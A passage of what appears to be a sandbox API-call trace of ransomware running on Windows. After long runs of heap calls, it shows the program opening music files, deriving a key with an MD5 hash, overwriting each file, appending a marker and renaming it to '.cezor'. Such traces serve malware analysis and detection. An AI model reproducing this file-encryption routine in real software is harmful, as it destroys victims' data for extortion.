dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.061] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.062] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.062] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.063] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.063] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\") returned="bAXbPKiwKvGBE_6IlyS\\" [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.064] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.064] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.064] PathFindFileNameW (pszPath="") returned="" [0061.064] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.064] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.064] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x3a397480, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0x3a397480, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf84840b0, ftCreationTime.dwHighDateTime=0x1d4cd66, ftLastAccessTime.dwLowDateTime=0x689e4f10, ftLastAccessTime.dwHighDateTime=0x1d4c5a8, ftLastWriteTime.dwLowDateTime=0x689e4f10, ftLastWriteTime.dwHighDateTime=0x1d4c5a8, nFileSizeHigh=0x0, nFileSizeLow=0xfb49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AwfOXmr1.mp3", cAlternateFileName="")) returned 1 [0061.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\AwfOXmr1.mp3") returned=".mp3" [0061.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\AwfOXmr1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\awfoxmr1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.065] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=64329) returned 1 [0061.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.067] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfb23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.067] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.068] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.068] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfb49, lpOverlapped=0x0) returned 1 [0061.069] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.069] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.069] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.069] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.069] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.069] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.069] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.070] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.070] GetLastError () returned 0x0 [0061.070] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.070] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfb50) returned 0x3132418 [0061.070] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.070] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xfb44, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xfb44, lpOverlapped=0x0) returned 1 [0061.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.070] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfb49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.071] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.071] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.071] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.071] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.071] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.071] CloseHandle (hObject=0x5c4) returned 1 [0061.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.072] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\AwfOXmr1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\awfoxmr1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\AwfOXmr1.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\awfoxmr1.mp3.cezor")) returned 1 [0061.072] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.072] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.073] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccac4150, ftCreationTime.dwHighDateTime=0x1d4d0c6, ftLastAccessTime.dwLowDateTime=0x19b7cd60, ftLastAccessTime.dwHighDateTime=0x1d4c7ae, ftLastWriteTime.dwLowDateTime=0x19b7cd60, ftLastWriteTime.dwHighDateTime=0x1d4c7ae, nFileSizeHigh=0x0, nFileSizeLow=0x42db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hd0rzFg.m4a", cAlternateFileName="")) returned 1 [0061.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.073] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.073] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\hd0rzFg.m4a") returned=".m4a" [0061.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\hd0rzFg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\hd0rzfg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.074] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=17115) returned 1 [0061.074] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.076] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x42b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.076] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.077] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.077] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.077] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x42db, lpOverlapped=0x0) returned 1 [0061.077] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.077] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.077] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.077] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.077] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.078] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.078] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.078] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.078] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.078] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.078] GetLastError () returned 0x0 [0061.078] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.078] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.078] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.078] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x42e0) returned 0x31218d0 [0061.079] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.079] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x42d6, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x42d6, lpOverlapped=0x0) returned 1 [0061.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0061.079] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x42db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 